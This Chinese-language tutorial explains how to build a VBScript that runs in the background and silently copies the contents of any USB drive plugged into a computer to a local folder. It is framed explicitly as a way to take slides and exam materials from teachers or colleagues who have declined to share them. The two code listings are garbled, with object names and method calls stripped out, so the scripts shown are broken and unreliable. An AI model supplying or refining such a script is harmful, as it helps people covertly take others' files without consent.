在學校或工作中，我們經常會遇到老師或同事不愿意分享PPT或者其他資料的情況。為了解決這個問題，并且提高獲取重要考試資料的機會，我們可以通過一種簡單的方法來實現U盤插入自動復制的功能。 準備工作 首

在學校或工作中，我們經常會遇到老師或同事不愿意分享PPT或者其他資料的情況。為了解決這個問題，并且提高獲取重要考試資料的機會，我們可以通過一種簡單的方法來實現U盤插入自動復制的功能。

準備工作

首先，我們需要創(chuàng)建一個文本文檔，并將下面的代碼復制粘貼進去：

set fsocreateobject("")
set wscreateobject("")
on error resume next
do
 1000
if ("U盤的盤符") then
 "U盤的盤符加*號","要復制到的目錄"
 "U盤的盤符加*號","要復制到的目錄"
 20000
end if
loop

請注意需要自行修改代碼中標記顏色的部分。藍色部分代表要復制到的目錄，比如"C:USB"代表要復制到C盤下的USB文件夾。紅色部分代表U盤的盤符，比如新插入的U盤是E盤，則用"E:*"代替紅色部分。

保存和運行

保存文件時，最好使用英文命名，并將后綴改為.VBS。如果后綴沒有顯示，請打開“我的電腦”，在菜單欄中找到“工具”-“文件夾選項”，在“查看”標簽中取消勾選“隱藏已知文件類型的擴展名”。然后雙擊運行該文件即可。

停止自動復制

如果想停止自動復制功能，可以打開任務管理器，結束進程WScript.exe。這樣程序就會停止運行。需要注意的是，每次重啟計算機后，該功能會再次生效。

更新說明

上述方法只能復制第一個插入的U盤的內容，對于插入多個U盤或移動硬盤無法實現自動復制。

更新的代碼如下：

set fsocreateobject("")
set wscreateobject("")
dim USB, file, folder, files
USBinputbox("請輸入U盤的盤符" amp;Chr(10) amp; "如插入的U盤為F盤，則輸入F", "插入的U盤盤符", "F")
folderinputbox("請輸入復制到的文件夾" amp;Chr(10) amp; "如想復制到D盤，請輸入D:", "請輸入復制到的文件夾", "C:USB")
filesinputbox("請輸入要復制的文件類型" amp;Chr(10) amp; "如要復制EXCEL文件，輸入xls；默認為全部類型", "請輸入要復制的文件類型", "ALL")
USBUSB amp; ":"
folderfolder amp; ""
if files"ALL" then
    fileUSB amp; "*"
else
    fileUSB amp; "*. " amp; files
end if
if (folder) then
else
    (folder)
end if
on error resume next
do
 1000
if (USB) then
     file,folder
     file,folder
     20000
end if
loop

請按照提示修改代碼中的盤符、文件夾和文件類型，然后保存文件并將后綴改為.VBS。運行該文件即可實現自動復制功能。